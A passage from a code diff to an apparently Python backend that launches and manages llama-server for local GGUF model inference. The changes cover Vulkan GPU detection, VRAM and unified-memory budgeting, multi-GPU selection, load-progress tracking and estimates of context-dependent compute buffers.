parts or any(part in (".", "..") for part in parts): + return False + sibling = root.joinpath(*parts) + try: + if not sibling.is_file(): + return False + expected = expected_sizes.get(shard) + if expected and sibling.stat().st_size < expected: + return False + except OSError: + return False + return True + + +def _resolve_repo_id_casing(hf_repo: str) -> str: + """Map a requested repo id to its cached canonical casing, or return it unchanged. + + A case-variant request (for example a lowercased id) resolves to the + canonical-cased cache directory so the main GGUF and its companions + (mmproj / MTP drafter) all read the same cache entry. Returns ``hf_repo`` + unchanged when resolution is unavailable or errors. + """ + try: + from utils.paths import resolve_cached_repo_id_case + return resolve_cached_repo_id_case(hf_repo) + except Exception: + return hf_repo + + +def _cached_colocated_split_main( + repo_id: str, main_filename: str, shards: Iterable[str], expected_sizes: dict[str, int] +) -> Optional[str]: + """Main-shard path from a cache snapshot that also holds every sibling shard. + + A newer snapshot may hold only the first shard while an older snapshot has the + complete split set. ``_cached_hf_snapshot_file`` would return that newer partial + main and the co-location check would then force a refetch, so scan snapshots for + one where the whole set is present and return that main path instead. None when + no snapshot holds the full set. + """ + main_parts = [part for part in main_filename.replace("\\", "/").split("/") if part] + if not main_parts or any(part in (".", "..") for part in main_parts): + return None + try: + from utils.models.model_config import _iter_hf_cache_snapshots + for snap in _iter_hf_cache_snapshots(repo_id): + main_path = snap.joinpath(*main_parts) + if not main_path.is_file(): + continue + expected_main = expected_sizes.get(main_filename) + try: + if expected_main and main_path.stat().st_size < expected_main: + continue + except OSError: + continue + if _snapshot_has_all_shards(str(main_path), main_filename, shards, expected_sizes): + return str(main_path) + except Exception as e: + logger.debug("Co-located split snapshot lookup failed for %s: %s", repo_id, e) + return None + + def _gguf_extra_shards(files: Iterable[str], first_shard: str) -> list[str]: m = _SHARD_FULL_RE.match(first_shard) if not m: @@ -797,7 +1014,15 @@ _MTP_MIN_SIZE_B = 3.0 # Cap total GPU occupancy at this fraction of the card. The fit reserves an # absolute (1 - frac) * total per GPU when total VRAM is known, else a fraction # of free (see _fit_context_to_vram), plus a byte-accurate MTP draft reserve. -_CTX_FIT_VRAM_FRACTION = 0.95 +# 3%: the context-linear compute buffer is now modelled (_compute_buffer_ctx_bytes), +# so this cushion no longer covers it - only fragmentation, the per-device CUDA +# context on a multi-GPU split, and MoE routing, which measure ~2-3% (Qwen3.5-397B on +# 3 GPUs under-predicts by 2.7%). Below 3% one fragmentation spike overflows to CPU. +_CTX_FIT_VRAM_FRACTION = 0.97 + +# Apple unified memory is shared with the OS, so tighter than VRAM. Matches the +# 0.85 MLX uses in mlx_inference.py (_configure_memory_limits); not kept in sync. +_APPLE_UNIFIED_MEMORY_FRACTION = 0.85 # Flat MTP reserve, used only when GGUF dims are too sparse for the byte-accurate # reserve (_estimate_mtp_overhead_bytes). Applied to both the fit budget and pin. @@ -1215,6 +1440,69 @@ def _backfill_usage_from_timings(usage, timings): return out +def _vulkan_lib_filename() -> str: + return "ggml-vulkan.dll" if sys.platform == "win32" else "libggml-vulkan.so" + + +# Host RAM to leave free on an integrated GPU, matching llama.cpp's own --fit +# margin (default 1024 MiB per device). ggml reports an iGPU's "VRAM" as shared +# system RAM, so hold back the same margin rather than inventing a larger one. +_IGPU_HOST_RESERVE_MIB = 1024 + + +def _apply_igpu_host_reserve_mib(free_mib: int, is_igpu: bool) -> int: + """Reserve host headroom on an integrated (shared-memory) Vulkan GPU. + + An iGPU's reported free "VRAM" is really free system RAM, so sizing + context/offload against all of it would push the host into swap or the OOM + killer. Leave the same margin llama.cpp's --fit uses. ``is_igpu`` comes from + ggml's device type, so a discrete card is never touched; only ever reduces. + """ + if not is_igpu: + return free_mib + return max(0, free_mib - _IGPU_HOST_RESERVE_MIB) + + +def _llama_lib_dir(binary: str) -> Path: + # The installer exposes llama-server as a top-level entrypoint into build/bin/, + # where the ggml backend libs live, so callers looking for sibling libs (Vulkan + # detection, LD_LIBRARY_PATH, probe bindir) need the real dir. It is normally a + # symlink (resolve() reaches build/bin), but create_exec_entrypoint falls back to + # a shell wrapper (exec "$(dirname "$0")/build/bin/llama-server" "$@") when it + # cannot symlink, and resolve() stops at the wrapper file. Follow the wrapper's + # exec target too, so a wrapper-based install still finds build/bin. + resolved = Path(binary).resolve() + try: + with open(resolved, "rb") as _f: + _head = _f.read(256) + if _head.startswith(b"#!"): + _m = re.search(r'exec "\$\(dirname "\$0"\)/([^"]+)"', _head.decode("utf-8", "ignore")) + if _m: + return (resolved.parent / _m.group(1)).resolve().parent + except OSError: + pass + return resolved.parent + + +def _is_external_link(path: Path) -> bool: + """True when ``path`` is a --with-llama-cpp-dir local link: a POSIX symlink + or a Windows directory junction / reparse point. Such a link resolves into + the user's own llama.cpp checkout, which Studio does not own.""" + try: + if os.path.islink(path): + return True + except OSError: + return False + if os.name == "nt": + try: + import stat + attrs = os.lstat(path).st_file_attributes # type: ignore[attr-defined] + return bool(attrs & stat.FILE_ATTRIBUTE_REPARSE_POINT) + except (OSError, AttributeError): + return False + return False + + class LlamaCppBackend: """Manages a llama-server subprocess for GGUF model inference. @@ -1246,12 +1534,14 @@ class LlamaCppBackend: self._is_diffusion: bool = False self._diffusion_visual_bin: Optional[str] = None self._healthy = False + self._load_rss_hwm = (None, 0) # (pid, peak VmRSS) for load_progress self._stats_logger = None # vLLM-style engine-stats poller, set on load # Set by _classify_gpu_offload after _wait_for_health. self._gpu_offload_active: Optional[bool] = None self._context_length: Optional[int] = None self._effective_context_length: Optional[int] = None self._max_context_length: Optional[int] = None + self._effective_parallel_slots: int = 1 self._chat_template: Optional[str] = None self._chat_template_override: Optional[str] = None self._supports_reasoning: bool = False @@ -1263,6 +1553,9 @@ class LlamaCppBackend: self._cache_type_kv: Optional[str] = None # Whether --split-mode tensor was applied on the active load. self._tensor_parallel: bool = False + # Layer load kept multi-GPU only to honor a downgraded tensor request, so a + # later explicit tensor-off reloads instead of deduping to it (#6659). + self._layer_preserves_tensor_intent: bool = False self._reasoning_default: bool = True self._speculative_type: Optional[str] = None # Canonical UI-facing mode the user requested @@ -1434,6 +1727,15 @@ class LlamaCppBackend: """Return the effective context length the server is running at.""" return self._effective_context_length or self._context_length + @property + def effective_parallel_slots(self) -> int: + """Return the serving-slot count the active llama-server actually uses.""" + try: + slots = int(getattr(self, "_effective_parallel_slots", 1)) + except (TypeError, ValueError): + slots = 1 + return max(1, slots) + @property def max_context_length(self) -> Optional[int]: """Return the largest context that fits on this hardware at load time. @@ -1450,6 +1752,31 @@ class LlamaCppBackend: """Return the model's native context length from GGUF metadata.""" return self._context_length + def _commit_effective_parallel_slots(self, n_parallel: int) -> None: + try: + slots = int(n_parallel) + except (TypeError, ValueError): + slots = 1 + self._effective_parallel_slots = max(1, slots) + + def _reset_effective_parallel_slots(self) -> None: + self._effective_parallel_slots = 1 + + @staticmethod + def _read_rss_bytes(pid: int) -> Optional[int]: + """Resident set size of ``pid`` in bytes, from /proc//status (Linux). + 0 when the status has no VmRSS line (zombie / kernel thread); None where + /proc is unavailable (macOS/Windows) or the value is unreadable.""" + try: + with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f: + for line in f: + if line.startswith("VmRSS:"): + # IndexError guards a "VmRSS:" line with no value column. + return int(line.split()[1]) * 1024 # kB -> bytes + except (FileNotFoundError, PermissionError, ValueError, IndexError, OSError): + return None + return 0 # readable but no VmRSS line + def load_progress(self) -> Optional[dict]: """Return live model-load progress, or None if not loading. @@ -1509,22 +1836,32 @@ class LlamaCppBackend: except OSError: pass - # Read VmRSS from /proc//status (kilobytes on Linux). - bytes_loaded = 0 - try: - with open(f"/proc/{pid}/status", "r", encoding = "utf-8") as f: - for line in f: - if line.startswith("VmRSS:"): - kb = int(line.split()[1]) - bytes_loaded = kb * 1024 - break - except (FileNotFoundError, PermissionError, ValueError, OSError): + # VmRSS of the llama-server; None where /proc is unavailable. + bytes_loaded = LlamaCppBackend._read_rss_bytes(pid) + if bytes_loaded is None: return None + # RSS climbs as weights page in, then drops once -ngl offloads them to + # VRAM and the mmap pages are freed. Hold a per-process high-water mark + # so the bar never regresses to ~8% mid-load (#5740). + hwm_pid, hwm = getattr(self, "_load_rss_hwm", (None, 0)) + hwm = bytes_loaded if hwm_pid != pid else max(hwm, bytes_loaded) + self._load_rss_hwm = (pid, hwm) + bytes_loaded = hwm + phase = "ready" if self._healthy else "mmap" fraction = 0.0 if bytes_total > 0: fraction = min(1.0, bytes_loaded / bytes_total) + # Once llama-server is healthy the load is complete by definition. With + # layers offloaded to VRAM (-ngl) the process releases the mmap'd weight + # pages, so VmRSS sinks back well below the shard total; the raw RSS + # fraction would then report a partial (~8%) load indefinitely and freeze + # a fraction-driven progress bar even though the model is ready (#5740). + if self._healthy: + if bytes_total > 0: + bytes_loaded = bytes_total + fraction = 1.0 return { "phase": phase, "bytes_loaded": bytes_loaded, @@ -1600,9 +1937,13 @@ class LlamaCppBackend: # 'low' effort the way gpt-oss does (those models genuinely # cannot disable). thinking_off = enable_thinking is False or reasoning_effort == "none" - if enable_thinking is not None or reasoning_effort == "none": + # A named effort level implies thinking on, so emit enable_thinking + # even if the caller sent only reasoning_effort (else the template + # defaults it off and the requested level never renders). + effort_on = reasoning_effort in self._reasoning_effort_levels + if enable_thinking is not None or reasoning_effort == "none" or effort_on: kwargs["enable_thinking"] = not thinking_off - if not thinking_off and reasoning_effort in self._reasoning_effort_levels: + if not thinking_off and effort_on: kwargs["reasoning_effort"] = reasoning_effort elif self._reasoning_style == "reasoning_effort": if reasoning_effort in ("none", "low", "medium", "high"): @@ -1626,6 +1967,13 @@ class LlamaCppBackend: return False return self._supports_tools + @property + def supports_tool_passthrough(self) -> bool: + # supports_tools is forced off for DiffusionGemma (its agentic loop drops the + # per-step canvas frames), but client passthrough skips that loop, so it uses + # the real _supports_tools. + return self._supports_tools + @property def cache_type_kv(self) -> Optional[str]: return self._cache_type_kv @@ -1635,6 +1983,11 @@ class LlamaCppBackend: """Whether --split-mode tensor is active on the loaded server.""" return self._tensor_parallel + @property + def layer_preserves_tensor_intent(self) -> bool: + """True when a downgraded tensor request kept this layer load multi-GPU.""" + return self._layer_preserves_tensor_intent + @property def speculative_type(self) -> Optional[str]: return self._speculative_type @@ -1993,6 +2346,30 @@ class LlamaCppBackend: return total + @staticmethod + def _is_vulkan_backend(binary: Optional[str] = None) -> bool: + """True if the installed llama.cpp build is Vulkan-only. + + The official prebuilts are single-backend, so the Vulkan ggml lib next + to llama-server identifies a Vulkan build. Keeps the free-memory probe + and GPU pin in ggml's Vulkan device-index space. For a custom + multi-backend build with a CUDA or HIP ggml lib alongside Vulkan, defer + to that backend (torch-usable, better-understood probe/pin). + """ + binary = binary or LlamaCppBackend._find_llama_server_binary() + if not binary: + return False + lib_dir = _llama_lib_dir(binary) + if not (lib_dir / _vulkan_lib_filename()).is_file(): + return False + for _backend in ("cuda", "hip"): + sibling = ( + f"ggml-{_backend}.dll" if sys.platform == "win32" else f"libggml-{_backend}.so" + ) + if (lib_dir / sibling).is_file(): + return False + return True + @staticmethod def _resolve_visible_physical_ids() -> Optional[list[int]]: """Physical GPU ids behind the active visibility mask (HIP/ROCR/CUDA on @@ -2155,14 +2532,73 @@ class LlamaCppBackend: return True @staticmethod - def _get_gpu_free_memory() -> list[tuple[int, int]]: + def _visible_devices_mask(env_name: str) -> Optional[set[int]]: + """Physical indices a ``*_VISIBLE_DEVICES`` mask permits, or None if unset. + + ``if x.strip()`` filters trailing-comma masks ("0,1,"); an empty mask + ("") yields an empty set (all devices hidden), distinct from an unset + var (None, no mask). Used by the nvidia-smi probe. + """ + raw = os.environ.get(env_name) + if raw is None: + return None + try: + return set(int(x.strip()) for x in raw.split(",") if x.strip()) + except ValueError: + return None + + @staticmethod + def _vulkan_pin_args(gpu_indices: Optional[Iterable[int]]) -> list[str]: + """``--device Vulkan,...`` to pin a Vulkan launch to selected GPUs. + + The indices are ggml's compact Vulkan ordinals (as _get_gpu_free_memory + reports and the registry names ``Vulkan``). Pin by that name, NOT via + GGML_VK_VISIBLE_DEVICES: ggml parses that env var in the raw + vkEnumeratePhysicalDevices space (before dropping CPU/llvmpipe devices + and deduplicating ICDs), so a compact ordinal there could select a + different physical device or the CPU rasterizer. + """ + if not gpu_indices: + return [] + return ["--device", ",".join(f"Vulkan{i}" for i in gpu_indices)] + + @staticmethod + def _get_gpu_free_memory(binary: Optional[str] = None) -> list[tuple[int, int]]: """Query free memory per GPU. Returns ``(gpu_index, free_mib)`` sorted by index; empty if no supported GPU is reachable. Thin wrapper over ``_get_gpu_memory`` for callers that only need free VRAM.""" - return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory()] + return [(idx, free) for idx, free, _total in LlamaCppBackend._get_gpu_memory(binary)] @staticmethod - def _get_gpu_memory() -> list[tuple[int, int, int]]: + def _apple_metal_memory_budget_bytes() -> int: + """Unified-memory budget for GGUF context fitting on Apple Silicon. + + No GPU is enumerated on Metal, so the context would default to native and + over-commit unified memory ("Compute error." at decode, #5118/#6529). Use a + fraction of MLX's Metal working-set, else total RAM; 0 off Apple Silicon or + when unresolvable, so callers skip the cap. + """ + from utils.hardware import is_apple_silicon + + if not is_apple_silicon(): + return 0 + rec_bytes = 0 + try: + import mlx.core as mx + if mx.metal.is_available(): + rec_bytes = int(mx.device_info().get("max_recommended_working_set_size") or 0) + except Exception: + rec_bytes = 0 + if rec_bytes <= 0: + try: + import psutil + rec_bytes = int(psutil.virtual_memory().total) + except Exception: + return 0 + return int(rec_bytes * _APPLE_UNIFIED_MEMORY_FRACTION) + + @staticmethod + def _get_gpu_memory(binary: Optional[str] = None) -> list[tuple[int, int, int]]: """Query free AND total memory per GPU. Order: @@ -2174,9 +2610,18 @@ class LlamaCppBackend: probe returned [] on AMD) and NVIDIA hosts missing ``nvidia-smi`` from PATH. + On a Vulkan build the ggml Vulkan probe is authoritative, so the indices + are ggml's compact Vulkan ordinals (the space the pin selects via + ``--device Vulkan``). It reports ``total`` for discrete cards and 0 + for an iGPU (shared RAM) so the fit falls back to free*frac there. + Otherwise nvidia-smi / torch cover NVIDIA + AMD ROCm. + Returns (gpu_index, free_mib, total_mib) sorted by index; empty if no - supported GPU is reachable. ``total`` lets the fit reserve absolute headroom. + supported GPU is reachable. """ + binary = binary or LlamaCppBackend._find_llama_server_binary() + if LlamaCppBackend._is_vulkan_backend(binary): + return LlamaCppBackend._get_gpu_free_memory_vulkan(binary) # ── NVIDIA via nvidia-smi ──────────────────────────────────── try: result = subprocess.run( @@ -2192,16 +2637,7 @@ class LlamaCppBackend: **_windows_hidden_subprocess_kwargs(), ) if result.returncode == 0: - allowed: Optional[set[int]] = None - cvd = os.environ.get("CUDA_VISIBLE_DEVICES") - if cvd is not None: - try: - # `if x.strip()` filters trailing-comma masks ("0,1,"). - # Empty mask (CVD="") yields an empty set -> all GPUs - # filtered out, per codebase convention. - allowed = set(int(x.strip()) for x in cvd.split(",") if x.strip()) - except ValueError: - pass + allowed = LlamaCppBackend._visible_devices_mask("CUDA_VISIBLE_DEVICES") gpus: list[tuple[int, int, int]] = [] for line in result.stdout.strip().splitlines(): parts = [p.strip() for p in line.split(",")] @@ -2266,6 +2702,91 @@ class LlamaCppBackend: logger.debug(f"torch GPU probe failed: {e}") return [] + @staticmethod + def _get_gpu_free_memory_vulkan(binary: Optional[str] = None) -> list[tuple[int, int, int]]: + """Query free (and total) VRAM per device via the bundled ggml Vulkan backend. + + Loads ``libggml-vulkan`` in a short-lived subprocess (no Vulkan instance + in this process) and returns (device_index, free_mib, total_mib) sorted + by index. The index is ggml's compact Vulkan ordinal -- the one the + registry names ``Vulkan`` and load_model pins with ``--device``, + NOT the raw ``GGML_VK_VISIBLE_DEVICES`` space. A user-set + ``GGML_VK_VISIBLE_DEVICES`` is honored by ggml (passed through), so the + list already reflects it. iGPUs leave a host-RAM margin (see + ``_apply_igpu_host_reserve_mib``) and report total 0; discrete cards pass + their real total through. [] when no Vulkan build or device is reachable. + """ + binary = binary or LlamaCppBackend._find_llama_server_binary() + if not binary: + return [] + binary_dir = _llama_lib_dir(binary) + if not (binary_dir / _vulkan_lib_filename()).is_file(): + return [] + + env = child_env_without_native_path_secret() + # Pass any inherited GGML_VK_VISIBLE_DEVICES through to ggml unchanged so + # the probe enumerates the same device list the launch will, named + # Vulkan0..N in the compact order reported here and pinned by that name + # via --device -- probe, mask, and pin stay in one index space. Do NOT + # filter the mask in Python: ggml parses the env var in raw + # vkEnumeratePhysicalDevices space while this probe reports the compact + # post-filter ordinal, so a Python filter would compare mismatched spaces. + if sys.platform != "win32": + # Let the loader resolve sibling ggml libs next to the binary. + existing_ld = env.get("LD_LIBRARY_PATH", "") + env["LD_LIBRARY_PATH"] = ( + f"{binary_dir}:{existing_ld}" if existing_ld else str(binary_dir) + ) + probe_script = Path(__file__).with_name("_vulkan_probe.py") + try: + result = subprocess.run( + [sys.executable, str(probe_script), str(binary_dir)], + capture_output = True, + text = True, + timeout = 15, + env = env, + **_windows_hidden_subprocess_kwargs(), + ) + if result.returncode != 0: + logger.debug( + f"vulkan GPU probe exited {result.returncode}: {result.stderr.strip()}" + ) + return [] + except Exception as e: + logger.debug(f"vulkan GPU probe failed: {e}") + return [] + + gpus: list[tuple[int, int, int]] = [] + for line in result.stdout.strip().splitlines(): + parts = line.split("\t") + if len(parts) != 4: + continue + try: + idx = int(parts[0]) + free_mib = int(parts[1]) // (1024 * 1024) + is_igpu = parts[2] == "1" + # iGPU "total" is shared RAM, not a VRAM budget -> keep 0 so the + # fit stays on free*frac (the host reserve below is its + # headroom); a discrete card passes its real total through. + total_mib = 0 if is_igpu else int(parts[3]) // (1024 * 1024) + except ValueError: + continue + capped = _apply_igpu_host_reserve_mib(free_mib, is_igpu) + if capped < free_mib: + logger.info( + f"Vulkan device VK{idx} is an integrated GPU sharing system " + f"RAM; reserving {free_mib - capped}MiB host headroom " + f"({free_mib}->{capped}MiB usable)" + ) + gpus.append((idx, capped, total_mib)) + gpus.sort(key = lambda g: g[0]) + if gpus: + logger.info( + "Vulkan GPU memory detected: " + + ", ".join(f"VK{idx}={free}MiB" for idx, free, _total in gpus) + ) + return gpus + @staticmethod def _available_system_memory_mib() -> Optional[int]: """Available system RAM in MiB (psutil, then /proc/meminfo), or None if @@ -2375,9 +2896,10 @@ class LlamaCppBackend: prev = curr # Free-VRAM fraction at which Studio pins the GPU directly instead of - # deferring to ``--fit on``. 5% headroom covers CUDA context + compute - # buffers; 0.90 dropped 91-94% fits to CPU offload (#5106). - _GPU_PIN_VRAM_FRACTION = 0.95 + # deferring to ``--fit on``. 3% headroom: the compute buffer is now modelled in + # the fit, so this only guards fragmentation + multi-GPU per-device CUDA context + # (~2-3%); kept >= 3% as a floor (0.90 dropped 91-94% fits to CPU offload, #5106). + _GPU_PIN_VRAM_FRACTION = 0.97 # Fallback per-device tensor-mode compute buffer (MiB), used only when GGUF # dims are unavailable so _estimate_compute_buffer_bytes (the primary, derived @@ -2394,6 +2916,37 @@ class LlamaCppBackend: # aborts a --split-mode tensor load, so it's dropped for the tensor attempt. _TENSOR_PARALLEL_KV_TYPES = frozenset({"f16", "bf16", "f32"}) + # (binary, mtime, model) that aborted on --split-mode tensor this process (#6415 + # geometry limit, e.g. MQA n_head_kv=1). Model-keyed so one model's abort doesn't + # skip tensor for others; tensor is tried by default, recorded only on a real abort. + _tensor_split_abort_keys: set[tuple[str, int, str]] = set() + + @classmethod + def _tensor_split_cache_key( + cls, binary: Optional[str], model: Optional[str] + ) -> Optional[tuple[str, int, str]]: + """(path, mtime_ns, model) key; ns mtime re-probes a same-second binary swap.""" + if not binary or not model: + return None + try: + mtime = Path(binary).stat().st_mtime_ns + except OSError: + mtime = 0 + return (binary, mtime, model) + + @classmethod + def _tensor_split_aborts(cls, binary: Optional[str], model: Optional[str]) -> bool: + """True if (binary, model) aborted on --split-mode tensor this session.""" + key = cls._tensor_split_cache_key(binary, model) + return key is not None and key in cls._tensor_split_abort_keys + + @classmethod + def _record_tensor_split_abort(cls, binary: Optional[str], model: Optional[str]) -> None: + """Remember a (binary, model) that aborts on --split-mode tensor.""" + key = cls._tensor_split_cache_key(binary, model) + if key is not None: + cls._tensor_split_abort_keys.add(key) + @staticmethod def _windows_pip_nvidia_dll_dirs(prefix: str) -> list[str]: """Return DLL dirs from pip-installed CUDA wheels under @@ -2462,7 +3015,8 @@ class LlamaCppBackend: def _llama_server_env_for_binary(binary: str) -> dict[str, str]: """Build a subprocess env that lets llama-server resolve native libs.""" env = child_env_without_native_path_secret() - binary_dir = str(Path(binary).parent) + # _llama_lib_dir resolves the llama-server symlink to the real build/bin. + binary_dir = str(_llama_lib_dir(binary)) if sys.platform == "win32": # Ordering: see _build_windows_path_dirs. #5106. @@ -2533,9 +3087,13 @@ class LlamaCppBackend: usable_fraction: Optional[float] = None, total_by_idx: Optional[dict[int, int]] = None, per_device_overhead_bytes: int = 0, + min_gpus: int = 1, ) -> tuple[Optional[list[int]], bool]: """Pick GPU(s) for a model from estimated VRAM and free memory. + ``min_gpus`` (default 1, capped at ``len(gpus)``) keeps a downgraded + tensor/multi-GPU request spread instead of collapsing to one card. + ``model_size_bytes`` should include weights and estimated KV cache. ``usable_fraction`` (default ``_GPU_PIN_VRAM_FRACTION``) provides headroom for compute buffers, CUDA context, and other runtime @@ -2554,9 +3112,11 @@ class LlamaCppBackend: if not gpus: return None, True + min_gpus = max(1, min(min_gpus, len(gpus))) model_size_mib = model_size_bytes / (1024 * 1024) if usable_fraction is None: usable_fraction = LlamaCppBackend._GPU_PIN_VRAM_FRACTION + overhead_mib = per_device_overhead_bytes / (1024 * 1024) # Per-GPU usable budget: free - (1-frac)*total when total is known, else # the legacy free*frac (also covers a total-0 two-column probe). @@ -2570,19 +3130,26 @@ class LlamaCppBackend: # card can have less usable room than a less-used small one. ranked = sorted(gpus, key = lambda g: _usable(g[0], g[1]), reverse = True) - # Try 1 GPU at the usable-VRAM threshold. - if _usable(ranked[0][0], ranked[0][1]) >= model_size_mib: + # Cap a downgraded multi-GPU request to the usable count so it doesn't pull + # in a near-full card to hit min_gpus. No-op for the default min_gpus == 1. + usable_count = sum(1 for idx, free_mib in ranked if _usable(idx, free_mib) > overhead_mib) + min_gpus = max(1, min(min_gpus, usable_count or 1)) + + # Try 1 GPU at the usable-VRAM threshold (only when one device is allowed). + if min_gpus <= 1 and _usable(ranked[0][0], ranked[0][1]) >= model_size_mib: return [ranked[0][0]], False - # Try N GPUs (accumulate usable memory from most-free). Each GPU past the - # first adds a fixed per-device overhead the pool must hold. - overhead_mib = per_device_overhead_bytes / (1024 * 1024) + # Try N GPUs (most-free first); each past the first adds per-device overhead. + # Require at least min_gpus devices before accepting a fit. cumulative = 0.0 selected = [] for idx, free_mib in ranked: selected.append(idx) cumulative += _usable(idx, free_mib) - if cumulative >= model_size_mib + (len(selected) - 1) * overhead_mib: + if ( + len(selected) >= min_gpus + and cumulative >= model_size_mib + (len(selected) - 1) * overhead_mib + ): return sorted(selected), False # Too large even for all GPUs; let --fit handle it @@ -2889,6 +3456,33 @@ class LlamaCppBackend: _DEFAULT_N_UBATCH = 512 # llama.cpp --ubatch default; Studio does not override it _COMPUTE_BUFFER_SAFETY = 1.15 # upper-bound margin on the compute-buffer estimate + # Soft VRAM the modeled terms omit; charged to the fit budget on tight tiers (#6682). + _CUDA_CONTEXT_RESERVE_BYTES = 320 * 1024 * 1024 # CUDA ctx + cuBLAS workspace (~330 MiB) + _MMPROJ_VRAM_SAFETY = 1.4 # mmproj worst-case buffer vs file size (runtime ~1.3x) + _MTP_DRAFT_COMPUTE_BYTES = 224 * 1024 * 1024 # MTP draft decode graph beyond its KV + # The flash-attn KQ mask + attention scratch grow ~linearly with context; the flat + # _estimate_compute_buffer_bytes term only covers ctx -> 0. The per-token rate + # depends on the KV cache type: a QUANTIZED cache (q8_0/q5/q4/iq4) needs a + # context-sized dequant scratch that scales with n_embd, measured at 0.74-2.02 x + # n_embd across Qwen3.5/3.6 (2B/4B/9B/27B) and Gemma-4 (12B/31B) at q8_0; an + # f16/bf16/f32 cache skips the dequant and pays only the KQ mask, a flat n_ubatch*2 + # bytes per context token regardless of n_embd (measured 1024 B/tok on Qwen-9B and + # Gemma-31B alike). So Qwen3.5-4B at 256k is 1.30 GiB at q8_0 vs 0.31 GiB at f16. + # 2.25 covers the worst quantized case (Qwen3.5-4B, ~2.0x) plus the under-modeled + # flat base; the mask safety covers the f16 base gap. Without this term, tight tiers + # at extreme context over-pin and spill to CPU (the 3% cushion is only ~0.25 GiB on + # an 8 GB card, far below the ~1-2.4 GiB quantized buffer at 256k): e.g. Qwen3.5-4B + # Q4 at 256k needs ~8.5 GiB on a real 8 GB card (weights 2.4 + KV 4.3 + compute 1.3 + # + CUDA ctx) -> CPU spill; with this reserve the auto context caps to ~210k, fits. + _CTX_COMPUTE_BYTES_PER_EMBD = 2.25 # quantized KV, regular attention (dequant scratch) + _CTX_COMPUTE_BYTES_PER_EMBD_MLA = 1.25 # quantized KV, MLA (compressed attn: measured 0.94x) + _CTX_COMPUTE_F16_MASK_SAFETY = 1.5 # f16/bf16/f32 KV: KQ mask only (n_ubatch*2 B/tok) + # DeepSeek-V4 (deepseek4): its lightning indexer + sparse attention reserve a large + # context-scaling compute buffer the rates above miss (present even with an f16 + # cache). Measured on UD-Q4_K_XL (ub=512): ~2 GiB at 16k -> ~65.5 GiB at 1M. Without + # it auto-fit commits the full 1M train context, OOMs the reserve, and spills to CPU. + _DSV4_CTX_COMPUTE_FLAT_BYTES = 2 * 1024**3 # ctx-independent indexer scratch + _DSV4_CTX_COMPUTE_BYTES_PER_TOK = 72000 # per token at ub=512 (~72 GiB at 1M) def _estimate_compute_buffer_bytes( self, @@ -2919,6 +3513,93 @@ class LlamaCppBackend: compute = act_scratch + out_buffer * max(0, par - 1) return int(compute * self._COMPUTE_BUFFER_SAFETY) + def _compute_buffer_ctx_bytes( + self, + n_ctx: int, + n_ubatch: Optional[int] = None, + cache_type_kv: Optional[str] = None, + ) -> int: + """Context-linear growth of the per-device compute buffer (bytes), charged + on top of the flat ``_estimate_compute_buffer_bytes``. The flash-attn KQ + mask + attention scratch scale ~linearly with context and with the micro- + batch; the flat term only covers ctx -> 0. A quantized KV cache adds a + context-sized dequant scratch that scales with n_embd; f16/bf16/f32 pays only + the KQ mask, a flat n_ubatch*2 bytes per context token. ``cache_type_kv`` None + -> f16 (llama.cpp's default; an env-set quantized cache is budgeted as f16 on + the KV side, whose over-reservation absorbs the dequant scratch). Returns 0 + when dims are missing or ``n_ctx`` <= 0.""" + n_embd = self._embedding_length or 0 + if n_embd <= 0 or n_ctx <= 0: + return 0 + ub = max(1, int(n_ubatch if n_ubatch else self._DEFAULT_N_UBATCH)) + if getattr(self, "_architecture", None) == "deepseek4": + # DSV4 indexer/CSA buffer (see constants): flat + linear, ub-scaled. Fires + # for any KV type -- the indexer scratch is present even with an f16 cache. + ub_scale = ub / self._DEFAULT_N_UBATCH + return int( + self._DSV4_CTX_COMPUTE_FLAT_BYTES + + self._DSV4_CTX_COMPUTE_BYTES_PER_TOK * n_ctx * ub_scale + ) + if _kv_bytes_per_elem(cache_type_kv) < 2.0: + # Quantized cache: the dequant scratch dominates and scales with n_embd. + # MLA (compressed KV) needs far less of it: measured 0.94 x n_embd on + # GLM-5.2 and Kimi-K2.7 vs up to 2.02x on regular attention. + ub_scale = ub / self._DEFAULT_N_UBATCH + rate = ( + self._CTX_COMPUTE_BYTES_PER_EMBD_MLA + if self._key_length_mla + else self._CTX_COMPUTE_BYTES_PER_EMBD + ) + per_tok = rate * n_embd * ub_scale + else: + # f16/bf16/f32: only the KQ mask ([n_kv, n_ubatch] f16), n_embd-independent. + per_tok = ub * 2 * self._CTX_COMPUTE_F16_MASK_SAFETY + return int(per_tok * n_ctx) + + def _slots_that_fit_on_gpu( + self, + n_parallel: int, + effective_ctx: int, + gpus: list[tuple[int, int]], + total_by_idx: Optional[dict[int, int]], + base_footprint_bytes: int, + cache_type_kv: Optional[str], + pin_fraction: float, + per_device_overhead_bytes: int, + min_gpus: int, + n_ubatch: Optional[int] = None, + ) -> tuple[Optional[list[int]], bool, int]: + """Largest serving-slot count in [1, n_parallel) whose fully-on-GPU footprint fits, + so Studio keeps the model on GPU (-ngl -1) instead of --fit on, which offloads layers + to host and collapses decode ~3x (oobabooga #6718). ``base_footprint_bytes`` is the + slot-independent footprint (weights + soft overhead + MTP + context-linear compute, + minus the folded compute buffer); each candidate re-adds the slot-sized compute buffer + and KV, then re-selects GPUs like the explicit-context path. Returns (gpu_indices, + use_fit=False, slots) for the largest fitting count, else (None, True, n_parallel). + Only ever reduces; deterministic and unit-testable with synthetic VRAM maps.""" + for slots in range(n_parallel - 1, 0, -1): + cb = self._estimate_compute_buffer_bytes( + n_ubatch = n_ubatch, n_parallel = slots, per_device_tensor = False + ) + if cb <= 0: + cb = self._TENSOR_PARALLEL_BUFFER_RESERVE_MIB * 1024 * 1024 + total = ( + base_footprint_bytes + + cb + + self._estimate_kv_cache_bytes(effective_ctx, cache_type_kv, n_parallel = slots) + ) + gpu_indices, use_fit = self._select_gpus( + total, + gpus, + usable_fraction = pin_fraction, + total_by_idx = total_by_idx, + per_device_overhead_bytes = per_device_overhead_bytes, + min_gpus = min_gpus, + ) + if not use_fit: + return gpu_indices, False, slots + return None, True, n_parallel + def _fit_context_to_vram( self, requested_ctx: int, @@ -2934,6 +3615,7 @@ class LlamaCppBackend: kv_on_gpu: bool = True, mtp_engaged: bool = False, mtp_overhead_fn: Optional[Callable[[int], int]] = None, + compute_ctx_bytes_fn: Optional[Callable[[int], int]] = None, budget_frac: Optional[float] = None, total_mib: Optional[int] = None, ) -> int: @@ -2985,9 +3667,14 @@ class LlamaCppBackend: def _mtp_at(ctx: int) -> int: return 